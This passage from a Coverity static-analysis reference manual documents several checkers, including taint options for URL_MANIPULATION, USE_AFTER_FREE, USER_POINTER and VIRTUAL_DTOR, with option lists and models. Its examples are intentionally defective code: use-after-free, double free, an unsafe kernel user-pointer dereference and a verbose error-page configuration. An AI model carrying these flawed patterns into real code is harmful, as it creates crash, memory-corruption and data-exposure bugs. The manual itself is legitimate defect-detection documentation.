- `URL_MANIPULATION:distrust_all:<boolean>` - [All] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `URL_MANIPULATION:distrust_all:false`.

This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`. (All languages except C, C++)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`. (C, C++)

- `URL_MANIPULATION:trust_command_line:<boolean>` - [All] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `URL_MANIPULATION:trust_command_line:true`. Setting this checker option will override the global `--distrust-command-line` command line option.
- `URL_MANIPULATION:trust_console:<boolean>` - [All] Setting this option to false causes the analysis to treat data from the console as tainted. Defaults to `URL_MANIPULATION:trust_console:true`. Setting this checker option will override the global `--distrust-console` command line option.
- `URL_MANIPULATION:trust_cookie:<boolean>` - [All] Setting this option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `URL_MANIPULATION:trust_cookie:false`. Setting this checker option will override the global `--distrust-cookie` command line option.
- `URL_MANIPULATION:trust_database:<boolean>` - [All] Setting this option to false causes the analysis to treat data from a database as tainted. Defaults to `URL_MANIPULATION:trust_database:true`. Setting this checker option will override the global `--distrust-database` command line option.
- `URL_MANIPULATION:trust_environment:<boolean>` - [All] Setting this option to false causes the analysis to treat data from environment variables as tainted. Defaults to `URL_MANIPULATION:trust_environment:true`. Setting this checker option will override the global `--distrust-environment` command line option.
- `URL_MANIPULATION:trust_filesystem:<boolean>` - [All] Setting this option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `URL_MANIPULATION:trust_filesystem:true`. Setting this checker option will override the global `--distrust-filesystem` command line option.
- `URL_MANIPULATION:trust_http:<boolean>` - [All] Setting this option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `URL_MANIPULATION:trust_http:false`. Setting this checker option will override the global `--distrust-http` command line option.
- `URL_MANIPULATION:trust_http_header:<boolean>` - [All] Setting this option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `URL_MANIPULATION:trust_http_header:false`. Setting this checker option will override the global `--distrust-http-header` command line option.

- `URL_MANIPULATION:trust_js_client_cookie:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from cookies in client-side JavaScript code, for example from `document.cookie`. This option was formerly called `trust_client_cookie`. Defaults to `URL_MANIPULATION:trust_js_client_cookie:true`.
- `URL_MANIPULATION:trust_js_client_external:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Note: this option was formerly called `trust_external`. Defaults to `URL_MANIPULATION:trust_js_client_external:false`.
- `URL_MANIPULATION:trust_js_client_html_element:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from user input on HTML elements such as `textarea` and `input` elements in client-side JavaScript code. Defaults to `URL_MANIPULATION:trust_js_client_html_element:true`.
- `URL_MANIPULATION:trust_js_client_http_header:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from HTTP response headers on the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Defaults to `URL_MANIPULATION:trust_js_client_http_header:true`.
- `URL_MANIPULATION:trust_js_client_http_referer:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from the 'referrer' HTTP header (from `document.referrer`) in client-side JavaScript code. Defaults to `URL_MANIPULATION:trust_js_client_http_referer:false`.
- `URL_MANIPULATION:trust_js_client_other_origin:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from content in another frame or from another origin, for instance from `window.name`, in client-side JavaScript code. Defaults to `URL_MANIPULATION:trust_js_client_other_origin:false`.
- `URL_MANIPULATION:trust_js_client_url_query_or_fragment:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from the query or fragment part of the URL, for instance from `location.hash` or `location.query`, in client-side JavaScript code. Defaults to `URL_MANIPULATION:trust_js_client_url_query_or_fragment:false`.
- `URL_MANIPULATION:trust_mobile_other_app:<boolean>` - [JavaScript, TypeScript] Setting this option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `URL_MANIPULATION:trust_mobile_other_app:false`. Setting this checker option will override the global `--distrust-mobile-other-app` command line option.
- `URL_MANIPULATION:trust_mobile_other_privileged_app:<boolean>` - [JavaScript, TypeScript] Setting this option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `URL_MANIPULATION:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--distrust-mobile-other-privileged-app` command line option.

- `URL_MANIPULATION:trust_mobile_same_app:<boolean>` - [JavaScript, TypeScript] Setting this option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `URL_MANIPULATION:trust_mobile_same_app:true`. Setting this checker option will override the global `--distrust-mobile-same-app` command line option.
- `URL_MANIPULATION:trust_mobile_user_input:<boolean>` - [JavaScript, TypeScript] Setting this option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `URL_MANIPULATION:trust_mobile_user_input:false`. Setting this checker option will override the global `--distrust-mobile-user-input` command line option.
- `URL_MANIPULATION:trust_network:<boolean>` - [All] Setting this option to false causes the analysis to treat data from the network as tainted. Defaults to `URL_MANIPULATION:trust_network:false`. Setting this checker option will override the global `--distrust-network` command line option.
- `URL_MANIPULATION:trust_rpc:<boolean>` - [All] Setting this option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `URL_MANIPULATION:trust_rpc:false`. Setting this checker option will override the global `--distrust-rpc` command line option.
- `URL_MANIPULATION:trust_system_properties:<boolean>` - [All] Setting this option to false causes the analysis to treat data from system properties as tainted. Defaults to `URL_MANIPULATION:trust_system_properties:true`. Setting this checker option will override the global `--distrust-system-properties` command line option.

## 4.335.5. Models and Annotations

### 4.335.5.1. C, C++, Objective C, Objective C++

With **cov-make-library**, you can use the following Coverity Analysis primitives to create custom models for `URL_MANIPULATION`.

The following model indicates that `downloadFile()` is a taint sink (of type `URL`) for argument `url`:

```
void downloadFile(const char *url) {
 __coverity_taint_sink__(url, URL);
}
```

You can model taint sources with the `__coverity_mark_pointee_as_tainted__` modeling primitive. For example, the following model indicates that `packet_get_string()` returns a tainted string from the network:

```
void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TAIN_TYPE_NETWORK);
 return ret;
}
```

The next model indicates that `custom_sanitizе()` returns true if the `s` argument is valid (and thus should no longer be considered tainted). If the `s` argument is not valid, `custom_sanitizе()` returns false and the analysis continues to track `s` as tainted:

```
bool custom_sanitize(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, URL);
 return true;
 }
 return false;
}
```

As an alternative to library models, you can use the following function annotation tags in source code comments that immediately precede the targeted function:

- `+taint_sanitize`: specifies that a function sanitizes a string argument. For example, the following specifies that `custom_sanitize()` sanitizes its `s` string argument:

```
// coverity[+taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `+taint_source` (without an argument): Specifies that the function returns tainted string data. For example, the following code specifies that `packet_get_string()` returns a tainted string value:

```
// coverity[+taint_source]
char* packet_get_string() {...}
```

- `+taint_source` (with an argument): Specifies that the function taints the contents of the specified string argument. For example, the following specifies that `custom_string_read()` taints the contents of its `s` argument:

```
// coverity[+taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



#### Note

The `taint_source` function annotation operates in conjunction with these checkers: `FORMAT_STRING_INJECTION`, `HEADER_INJECTION`, `OS_CMD_INJECTION`, `PATH_MANIPULATION`, `SQLI`, `TAINTED_SCALAR`, `TAINTED_STRING`, `URL_MANIPULATION`, and `XPATH_INJECTION`.

You can use the following function annotation tags to ignore function models:

- `-taint_sanitize`: Specifies that a function does not sanitize a string argument. For example, the following specifies that `custom_sanitize()` does not sanitize its `s` string argument:

```
// coverity[-taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `-taint_source` (without an argument): Specifies that the function does not return tainted string data. For example, the following specifies that `packet_get_string()` does not return a tainted string value:

```
// coverity[-taint_source]
char* packet_get_string() {...}
```

- `-taint_source` (with an argument): Specifies that the function does not taint the contents of the specified string argument. For example, the following specifies that `custom_string_read()` does not taint the contents of its `s` argument:

```
// coverity[-taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```

### 4.335.5.2. Go

In Go, the primitives are defined in the package `synopsys.com/coverity-primitives/primitives` and take an `Interface` as an argument; for example:

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_url_function(data interface{}) {
 UrlSink(data);
}
```

The `UrlSink()` primitive instructs `URL_MANIPULATION` to report a defect if the argument to `injecting_into_url_function()` is from an untrusted source.

## 4.336. USE\_AFTER\_FREE

Quality, C/C++ Security Checker

### 4.336.1. Overview

**Supported Languages:** C, C++, Java, Objective-C, Objective-C++

This C, C++, Java, Objective-C, Objective-C++ finds many cases where memory or a resource is used after it has been freed or closed. The consequence of using memory after freeing it is almost always memory corruption and a later program crash. The consequence of using a resource after closing it depends on the API in use.

**C, C++, Objective-C, Objective-C++:**

- **Enabled by default:** `USE_AFTER_FREE` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

**Java:**

- **Disabled by default:** `USE_AFTER_FREE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

- **Android** (Java only): For Android-based code, this checker finds issues related to user activities, screen activities, application state, and other items.

For C/C++, `USE_AFTER_FREE` finds many types of double frees and freed pointer dereferences. You cannot safely use freed memory. Double free defects occur when `free()` is called more than once with the same memory address argument. Double freeing a pointer can result in memory free list corruption and crashes. Dereferencing a freed pointer is dangerous because the pointer's value might have been changed to a non-pointer value or a pointer to an arbitrary location.

In multi-threaded programs, double frees are especially dangerous because one thread could allocate another's freed memory, resulting in very difficult to track race-conditions.

For Java, `USE_AFTER_FREE` issues a defect if an object is used after it has released its resources. In particular, the checker discovers cases in which the code attempts to call a method on an object that has already been closed, released, and recycled. Such objects are invalid and unusable, and running code with this error can produce data corruption or an exception.

## 4.336.2. Examples

This section provides one or more `USE_AFTER_FREE` examples.

### 4.336.2.1. C/C++

The following example dereferences a pointer after it is freed.

```
void fun(int * p) {
 free (p);
 int k = *p; // Defect
}
```

The following example shows a double free defect occurring over two different functions.

```
int f(void *p) {
 if(some_error()) {
 free(p);
 return -1;
 }
 return 0;
}

void g() {
 void *p = malloc(42);
 if(f(p) < 0) {
 free(p); // Double free
 }
 use(p);
}
```

The following example shows a deallocated pointer that is dereferenced.

```
void use_after_free(struct S *p) {
```

```
free(p);
free(p->field); // Dereference
}
```

The following example also shows a deallocated pointer that is dereferenced.

```
int f(int i) {
 int *p = malloc(8);
 free (p);
 int res = p[i];
}
```

`USE_AFTER_FREE` reports a defect in the following example when the `allow_report_args` option is enabled.

```
extern int ext(int *p);

void fun() {
 int * p = malloc(100);
 free(p); // Pointer freed
 ext(p); // Pointer used as arg
}
```

#### 4.336.2.2. Java

The following example attempts to set the volume of a `MediaPlayer` object after releasing the object. Such a coding error will trigger a `UseAfterFreeEvent` event.

```
void UseAfterFreeExample() {
 android.media.MediaPlayer mp = new android.media.MediaPlayer();

 mp.release(); // Release all MediaPlayer resources.

 mp.setVolume(1, 1); // Cannot use the MediaPlayer now!
}
```

#### 4.336.3. Options

This section describes one or more `USE_AFTER_FREE` options.

You can set specific checker option values by passing them with `--checker-option` to the **coverity-analyze** command. For details, refer to the *Coverity Command Reference*.

- `USE_AFTER_FREE:allow_simple_use:<boolean>` - When this option is true, the checker reports a defect when a freed pointer reappears in the code. Defaults to `USE_AFTER_FREE:allow_simple_use:false` (for C and C++ only).

If you disable this option, the checker will only report errors when freed pointers are dereferenced or used as function arguments.

- `USE_AFTER_FREE:allow_report_args:<boolean>` - When this C/C++ option is true, the checker reports a defect when a freed pointer is passed to a function. If you set this option to `false`, the checker will report a defect on the passing of a freed pointer only if the function is known to free or dereference it. Note that if you re-enable this option, existing defects are not affected: defects from different analysis runs will be merged properly. Defaults to `USE_AFTER_FREE:allow_report_args:true` (for C and C++ only).

## 4.336.4. Models

### 4.336.4.1. C/C++ Models

If a false positive is reported because the analysis is unable to correctly abstract a deallocation function's interface, then model that function explicitly as a stub function. If the false positive occurs on a path that Coverity Analysis considers executable even though it is not, use code-line annotations to explicitly suppress the events causing the error.

As with the `RESOURCE_LEAK` checker, Coverity Analysis tries to abstract a deallocation function's behavior from the caller's perspective. This means that if a function's deallocation event depends on an argument value or only occurs when certain values are returned, Coverity Analysis attempts to model this behavior and reflect it at each call location. If Coverity Analysis cannot precisely track a deallocation function's abstract behavior you can write a stub function to model the correct behavior:

```
int my_free(void* ptr)
{
 int condition;
 if (condition) {
 free(ptr);
 return 1;
 }
 return 0;
}
```

At each call to `my_free()`, the pointer argument can be either freed or left untouched. The condition under which the function determines whether or not it should free the pointer is irrelevant for modeling the function's abstract behavior. At all call sites, the caller is expected to verify that the return value of `my_free()` is `0` before re-using the pointer. The above function uses the uninitialized variable `condition` to reflect this, similar to the `RESOURCE_LEAK` example. To turn this stub function into a model for analysis, use [cov-make-library](#). 

### 4.336.4.2. Java Models

If your code has a class with the type of behavior that `USE_AFTER_FREE` checks, you can increase the usefulness and accuracy of the checker by writing small stub functions that model the behavior of the class. For example, if a given set of methods should never be called after a certain method in a class is called, then modeling is an appropriate option.

Using the supplemental information in the model, Coverity Analysis can locate paths throughout the code in which resources have been freed and then improperly used. If you call a Coverity `free()` or `use()` method, the analysis can determine which routines free or use the given object.

```
public class ResourceUser {
 public void release() {
 com.coverity.primitives.UseAfterFreePrimitives.free(this);
 }

 public void useSomeResource(android.view.SurfaceHolder mySurfaceHolder) {
 com.coverity.primitives.UseAfterFreePrimitives.use(this);
 }

 public SomeClass useSomeResource(SomeClass foo) {
 com.coverity.primitives.UseAfterFreePrimitives.use(this);
 return com.coverity.primitives.Coverity.unknown();
 }
}
```

In the example above, the method signature must match the method to be modeled. In the model, the two `useSomeResource()` methods model methods that have different method signatures.

The following example models `USE_AFTER_FREE` and `RESOURCE_LEAK` defects together because classes that are subject to `USE_AFTER_FREE` defects are often susceptible to `RESOURCE_LEAK` defects.

```
public class ResourceUser {

 public ResourceUsingObject() {

 com.coverity.primitives.Resource_LeakPrimitives.open(this);

 }

 public void release() {

 com.coverity.primitives.Resource_LeakPrimitives.close(this);

 com.coverity.primitives.UseAfterFreePrimitives.free(this);

 }

 public void useSomeResource(android.view.SurfaceHolder mySurfaceHolder) {

 com.coverity.primitives.UseAfterFreePrimitives.use(this);

 }

}
```

To model all implementations of an interface, simply create a model with the same fully qualified class name as the interface in question.

### 4.336.5. Events

This section describes one or more events produced by the `USE_AFTER_FREE` checker.

- `alias` - [Java] Aliasing of a reference by another.
  - `deref_after_free` - [C/C++] A defect is reported when a deallocated pointer is dereferenced. Ignore this event if the analysis incorrectly interprets an operation as a dereference of a deallocated pointer.
  - `double_free` - [C/C++] A defect is reported when a pointer is freed multiple times. Ignore this event if the operation is not, in fact, a deallocation or if the pointer is not the same value as it was in the first deallocation.
  - `freed_arg` - [C/C++] Ignore this event if the analysis incorrectly indicates that a function frees a pointer when, due to the callsite context, it does not.
  - `object_freed` - [Java] Call to a method that frees the object.
  - `pass_freed_arg` - [C/C++] A call to a function whose argument is a freed pointer.
  - `use_after_free` - [C/C++] A defect is reported when a deallocated pointer is used in a suspicious way (for example, passed as an argument to a function). If the use in question is safe, ignore this event.
- `use_after_free` - [Java] Use of an object that has already been freed.

## 4.337. USELESS\_CALL

Quality Checker

### 4.337.1. Overview

**Supported Languages:** C, C++, C#, Java, Objective-C, Objective-C++

`USELESS_CALL` identifies calls to functions that are considered useless because their return value is ignored and the function call has no other discernible effect, such as performing I/O. Such a defect usually indicates either that the programmer expected the call to modify existing data structures or to interact with the environment (in which case a different function needs to be called), or that the programmer intended to use the return value but neglected to do so.

This checker is enabled by default for C, C++, C#, Java, Objective-C and Objective-C++.

In addition to its built-in ability to analyze APIs that are common sources of this issue, the checker also identifies functions that are intended to be useful only for their return value. It reports useless calls to such functions unless it discovers certain “side effects” to the function or detects other clues that the function is incomplete or might otherwise have side effects in the future or in a different configuration. To report virtual calls, the checker must find that all resolutions qualify as a defect.

In some cases, functions are called for effects, such as forcing class loading, forcing linking or dependency, performance testing, or testing for robustness. Coverity suggests that you mark defect reports on such unusual code as Intentional in Coverity Connect.

Note that a related checker, `CHECKED_RETURN`, can report defects on calls to functions with side effects, such as I/O functions. Additionally, `CHECKED_RETURN` analysis can report defects based on

the ways return values are used, whereas `USELESS_CALL` will not report a defect if the return value is used in any way. Finally, `USELESS_CALL` analysis applies to any kind of non-void return type (scalar, pointer, reference); see also `NULL_RETURNS`.

## 4.337.2. Examples

This section provides one or more `USELESS_CALL` examples.

### 4.337.2.1. C/C++

The following C++ code example show pairs of integers and a function that swaps the coordinates.

```
struct pair_t
{
 pair_t(int x, int y) : x_(x), y_(y) {}
 int x_;
 int y_;
};

pair_t swap(pair_t xy)
{
 return pair_t(xy.y_, xy.x_);
}
```

A developer who mistakenly believes that the `swap` function shown above will modify its argument (by swapping the coordinates in place) is likely to write defective code, for example:

```
void incorrect()
{
 ...
 swap(xy); /* Defect: swap does not modify its argument */
 ...
}
```

The following example shows a likely fix to such a defect.

```
void correct()
{
 ...
 xs = swap(xy);
 ...
}
```

### 4.337.2.2. C#

The following example demonstrates uses of functions where the programmer mistakenly believes that the object on which the function is called, or one of the arguments passed to the function, will be modified.

```
{
```

```

...
String str = "aaa";
str.Replace('a', 'b'); /* Defect: str is not modified. */
...
}

```

The `Replace` method leaves `str` unmodified and returns a new string with `a` replaced by `b`. Therefore, once the call to `Replace` takes place, any code that depends on `str` *not* using `a` will be incorrect.

The following example provides a likely fix for this issue.

```

public void correct()
{
 ...
 String str = "aaa";
 str = str.Replace('a', 'b');
 ...
}

```

The `String` class in C# has a number of methods where it is common to think that calling the function will mutate the string, when in reality a new string is returned.

#### 4.337.2.3. Java

The following example demonstrates the behavior of the checker in three simple cases involving virtual functions.

```

interface I
{
 public int foo(int x);
 public int bar(int x);
}

class I0 implements I
{
 public int foo(int x){ return x + 1; }
 public int bar(int x){ return x + 1; }
 private int x_;
}

class I1 implements I
{
 public int foo(int x){ return x + 1; }
 public int bar(int x){ ++x_; return x + 1; }
 private int x_;
}

void example(I1 ii, I0 i0)
{
 ii.foo(0); /* Defect here */
}

```

```

ii.bar(0); /* No defect here */
i0.bar(0); /* Defect here */
}

```

### 4.337.3. Options

This section describes one or more `USELESS_CALL` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `USELESS_CALL:ignore_callee_with_macro_use_fn:<boolean>` - When this option is set to true, the checker ignores calls to functions that use preprocessor macros *with* arguments, either directly or through a function call themselves. Defaults to `USELESS_CALL:ignore_callee_with_macro_use_fn:false` (C and C++ only).
- `USELESS_CALL:ignore_callee_with_macro_use_plain:<boolean>` - When this option is set to true, the checker ignores calls to functions that use preprocessor macros *without* arguments, either directly or through a function call themselves. Defaults to `USELESS_CALL:ignore_callee_with_macro_use_plain:false` (C and C++ only).
- `USELESS_CALL:include_current_object_call_sites:<boolean>` - When this option is set to true, calls to member functions (methods) in which the receiver object is `this` are included as possible defects. Defaults to `USELESS_CALL:include_current_object_call_sites:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `USELESS_CALL:include_macro_call_sites_fn:<boolean>` - When this option is set to true, the checker will search for defects in calls to functions instantiated through preprocessor macros *with* arguments. Defaults to `USELESS_CALL:include_macro_call_sites_fn:false` (C and C++ only).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `USELESS_CALL:include_macro_call_sites_plain:<boolean>` - When this option is set to true, the checker will search for defects in calls to functions instantiated through preprocessor macros *without* arguments. Defaults to `USELESS_CALL:include_macro_call_sites_plain:false` (C and C++ only).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

### 4.337.4. Models and Annotations

Coverity provides C, C++, C#, Java, Objective-C, Objective-C++ primitives that you use to declare that a function (or method) is only useful for its return value (and is therefore free of side effects) or that

the function has side effects. There are corresponding annotations for Java methods, as well as an annotation that applies to a class and declares all static methods to be free of side effects.

#### 4.337.4.1. C/C++ Models

##### C/C++ Primitives

- Has no side effects:

```
__coverity_side_effect_free__(void)
```

- Has side effects:

```
__coverity_side_effects__(void)
```

Note that example in Section 4.337.4.3, “Java Models and Annotations” calls the Java version of this primitive.

#### 4.337.4.2. C# Models

##### C# Primitives

- Has no side effects:

```
Coverity.Primitives.SideEffect.SideEffectFree()
```

- Has side effects:

```
Coverity.Primitives.SideEffect.SideEffects()
```

Note that example in Section 4.337.4.3, “Java Models and Annotations” calls the Java version of this primitive.

#### 4.337.4.3. Java Models and Annotations

##### Java Primitives

- Has no side effects:

```
com.coverity.primitives.SideEffectPrimitives.sideEffectFree()
```

- Has side effects:

```
com.coverity.primitives.SideEffectPrimitives.sideEffects()
```

##### Java Annotations

- Has no side effects:

```
com.coverity.annotations.SideEffectFree
```

- Has side effects:

```
com.coverity.annotations.SideEffects
```

The `@SideEffectFree` annotation and the `sideEffectFree()` primitive make the checker treat a method as though it has no side effects, meaning that the checker will report a defect on a call to the method even if it does produce side effects.

```
import com.coverity.annotations.*;
import com.coverity.primitives.*;

public static int g_count;

@SideEffectFree
public static int foo()
{
 ++g_count;
 return g_count;
}

public static int bar()
{
 com.coverity.primitives.SideEffectPrimitives.sideEffectFree();
 ++g_count;
 return g_count;
}

public void example()
{
 foo(); /* defect */
 bar(); /* defect */
}
```

By contrast, the `@SideEffectFree` annotation and the `SideEffectFree()` primitive assert that side effects exist. The checker will never report a useless call defect on a method that uses this annotation or calls this primitive.

#### 4.337.5. Events

This section describes one or more events produced by the `USELESS_CALL` checker.

- `side_effect_free` - The function is only useful for its return value.
- `side_effect_free_fn` - Indicates that a particular callee is thought to be side-effect-free, and therefore only useful for its return value.

#### 4.338. USER\_POINTER

Quality, Security Checker

### 4.338.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`USER_POINTER` finds many cases where an operating system kernel unsafely dereferences user pointers. Operating systems cannot directly dereference user-space pointers safely. Instead, they must access the pointed-to data using special "paranoid" routines (for example: using the `copyin()` and `copyout()` functions on BSD derived systems, or the `copy_from_user()` and `copy_to_user()` functions on Linux derived systems). A single unsafe dereference can crash the system, allow unauthorized reading/writing of kernel memory, or give a malicious party complete system control. This checker is only useful when scanning kernel-level operating system code.

**Disabled by default:** `USER_POINTER` is disabled by default. To enable it, you can use the `--enable` option or the `--security` option to the `cov-analyze` command.

### 4.338.2. Examples

This section provides one or more `USER_POINTER` examples.

The following example has a defect because `pstr` is correctly copied in from user space with the `copyin()` method, but its field `ps_argvstr`, another pointer to user space memory, is unsafely dereferenced by the expression `pstr.ps_argvstr[i]`.

```
void user_pointer_example() {
 error = copyin((void *)p->p_sysent->sv_psstrings, &pstr, sizeof(pstr));
 if (error)
 return (error);
 for (i = 0; i < pstr.ps_nargvstr; i++) {
 sbuf_copyin(sb, pstr.ps_argvstr[i], 0);
 sbuf_printf(sb, "%c", '\\0');
 }
}
```

### 4.338.3. Models

You can use the `__coverity_user_pointer__` primitive to create custom models for `USER_POINTER`:

```
unsigned long custom_user_to_kernel_copy(void *to, const void *from, unsigned long n)
{
 __coverity_user_pointer__(to);
}
```

This model indicates that `custom_user_to_kernel_copy()` will copy untrusted user-space memory into the struct pointed-to by `to`.

### 4.338.4. Events

This section describes one or more events produced by the `USER_POINTER` checker.

- `user_to_kernel` - A call to a function that copies data from user-space memory to kernel-space memory.
- `user_pointer` - A user pointer has been passed to a dereferencing function, or a local dereference has occurred.

## 4.339. VARARGS

Quality Checker

### 4.339.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`VARARGS` verifies correct usage of the variable argument macros from the standard header `stdarg.h`.



#### Note

This checker only works for code that was compiled by gcc and possibly some gcc-based compilers.

The rules enforced by this checker include:

- `va_start` or `va_copy` must be followed by `va_end`.
- `va_start` or `va_copy` must be called before `va_arg`.

Incorrect use of these macros can result in memory corruption or unpredictable behavior.

**Enabled by default:** `VARARGS` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.339.2. Examples

This section provides one or more `VARARGS` examples.

In this example, `va_end` is not called:

```
void missing_vaend(char *s, ...)
{
 va_list va;
 va_start(va, s); // va_init - va_start is called on va
 vfprintf(log, s, ap);
} // missing_va_end - reached end of function without calling va_end
```

The next example does not initialize `va` (with `va_start` or `va_copy`) before use:

```
void missing_vastart(int n, ...)
{
 va_list va;
 while (n-- > 0) {
```

```
int c = va_arg(va, c); // va_arg - va has not been initialized
}
}
```

### 4.339.3. Events

This section describes one or more events produced by the `VARARGS` checker.

- `va_arg - va_arg` used.
- `va_init` - Initialized (with `va_start` or `va_copy`).
- `missing_va_end` - `va_end` was not called before returning from function.

## 4.340. VCALL\_IN\_CTOR\_DTOR

Quality Checker

### 4.340.1. Overview

**Supported Languages:** C/C++

The `VCALL_IN_CTOR_DTOR` checker finds cases where a virtual method is called from a constructor or from the destructor of a class.

The checker reports both the direct and indirect calls to virtual methods from within a class constructor or a destructor. In the case of the indirect call, additional events are generated for all the nested calls from the constructor/destructor to the actual virtual method being called.

**Disabled by default:** `VCALL_IN_CTOR_DTOR` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

### 4.340.2. Examples

This section provides one or more `VCALL_IN_CTOR_DTOR` examples.

In the following example, because we define an object of class `B`, you might expect that the overridden `B::virtMethod` is called from within the constructor of `A`. However, because objects are constructed from the base up – that is, the base `A` object is constructed before the derived `B` one, when the constructor of `A` is called, the derived `B` is not yet constructed. (This is why the C++ standard disables the virtual call mechanism in constructors and destructors.)

```
class A
{
public:
 A() {
 virtMethod();
 }
 virtual ~A();
 virtual void virtMethod() {
```

```
 cout << "A::virtMethod";
 }
};

class B: public A
{
public:
 B();
 virtual ~B();
 virtual void virtMethod() {
 cout << "B::virtMethod";
 }
};

int main () {
 B b; // this will print "A::virtMethod" and not "B::virtMethod"
 return 0;
}
```

Here is an example of a crash that can happen due to this unexpected behavior:

```
class A
{
public:
 A() {
 virtMethod(); // VCALL_IN_CTOR_DTOR is reported
 }
 virtual ~A();
 virtual void virtMethod() = 0;
};

class B: public A
{
public:
 B();
 virtual ~B();
 virtual void virtMethod();
};

int main () {
 B b; // Results in a crash because A::virtMethod is called inside A::A constructor
 // and not B::virtMethod as it might be expected by the author of the code.
 return 0;
}
```

### 4.340.3. Events

This section describes one or more events produced by the `VCALL_IN_CTOR_DTOR` checker.

- `call_to_virtual_method` - Indicates the actual call to the virtual method.

- `constructor_entry` - The entry to the constructor.
- `destructor_entry` - The entry to the destructor.
- `indirect_call_to_virtual_method` - Indicates the indirect call to the virtual method; that is, the call to a non-virtual method that calls a virtual method.
- `virtual_method_decl` - Indicates the declaration of the virtual method.

## 4.341. VERBOSE\_ERROR\_REPORTING

Security Checker

### 4.341.1. Overview

**Supported Languages:** Java

The `VERBOSE_ERROR_REPORTING` checker finds cases where a Spring Boot application has been configured to allow exception information or stack traces to be displayed in an error page. The exception information and stack traces might contain sensitive information and should not be displayed.

Disabled by default, the `VERBOSE_ERROR_REPORTING` checker is enabled with `--webapp-security` option.

### 4.341.2. Examples

This section provides one or more `VERBOSE_ERROR_REPORTING` examples.

In the following example, a `VERBOSE_ERROR_REPORTING` defect is displayed for setting the property `server.error.include-exception` to `true` in a `.properties` file.

```
server.port=8081
server.address=127.0.0.1

server.error.whitelabel.enabled=true
server.error.path=/user-error
server.error.include-exception=true # defect here
```

## 4.342. VIRTUAL\_DTOR

Quality Checker

### 4.342.1. Overview

**Supported Languages:** C++, Objective C++

`VIRTUAL_DTOR` looks for cases where the wrong destructor or no destructor is called by the `delete` operator because an object is upcast before it is deleted and the destructor is not virtual. The checker does not report a defect if the derived class destructor is implicitly defined and does the same thing as the base class destructor.

Undefined behavior only happens if the child class has a destructor that does more than invoke the parent's destructor. `VIRTUAL_DTOR` considers a class to have a non-trivial destructor if any of the following cases is true:

- The destructor was not generated by the compiler; the destructor was explicitly specified by the user.
- Any of the fields added in the child class has a destructor.

**Enabled by default:** `VIRTUAL_DTOR` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.342.2. Examples

This section provides one or more `VIRTUAL_DTOR` examples.

The following code leaks `B::p`:

```
struct A {
};
struct B: public A {
 B(): p(new int) {}
 ~B() { delete p; }
 int *p;
};
void leak() {
 A *a = new B;
 // This will not invoke ~B()
 delete a;
}
```

#### Example 4.1. ignore\_empty\_dtors

In the following example, the report is suppressed by the option `-co VIRTUAL_DTOR:ignore_empty_dtors`:

```
class X {
 ~X() {}
};
class Y: public X {
 X x;
 ~Y() {}
};
void test() {
 Y *y = new Y;
 X *x = y;
 delete x; // Does not call Y::~~Y(). A defect is not reported.
}
```

The following report is generated because the destructor for `Y` is not empty, although it appears to be:

```
class X {
 ~X() {}
};

class Z {
 ~Z() { do_stuff(); }
};

class Y: public X {
 Z z;
 ~Y() {} // Looks empty but calls Z::~~Z(), which is not empty.
};

void test() {
 Y *y = new Y;
 X *x = y;
 delete x; // Does not, but should call Y::~~Y().
}
```

### 4.342.3. Options

This section describes one or more `VIRTUAL_DTOR` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `VIRTUAL_DTOR:ignore_empty_dtors:<boolean>` - When this C++ option is true, the checker will treat an empty destructor the same as an implicitly defined destructor. Defaults to `VIRTUAL_DTOR:ignore_empty_dtors:false`
